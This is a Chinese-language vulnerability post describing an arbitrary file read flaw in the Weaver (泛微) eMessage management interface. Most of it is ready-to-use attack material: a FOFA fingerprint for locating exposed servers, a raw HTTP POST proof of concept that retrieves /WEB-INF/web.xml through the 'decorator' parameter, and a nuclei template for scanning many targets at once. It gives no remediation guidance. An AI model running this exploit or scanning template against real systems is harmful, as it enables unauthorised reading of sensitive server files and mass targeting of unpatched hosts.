泛微emessage管理界面存在任意文件读取漏洞2023

漏洞简介

泛微 emessage 管理界面存在任意文件读取漏洞隐患，攻击者可通过此漏洞获取敏感信息，为下一步攻击做准备。

漏洞复现

fofa语法：icon_hash="-1477694668"
登录页面如下：

POC:

POST / HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Length: 43
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate

decorator=%2FWEB-INF%2Fweb.xml&confirm=true

nuclei批量yaml文件

id: fanwei_emessage_decorator_fileread
info:
  name: 泛微emessage管理界面存在任意文件读取漏洞2023
  author: mhb17
  severity: high
  description: 

requests:
  - raw:
      - |+
        POST / HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 43

        decorator=%2FWEB-INF%2Fweb.xml&confirm=true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <servlet-name>
      - type: word
        part: body
        words:
          - <?xml
      - type: word
        part: header
        words:
          - '200'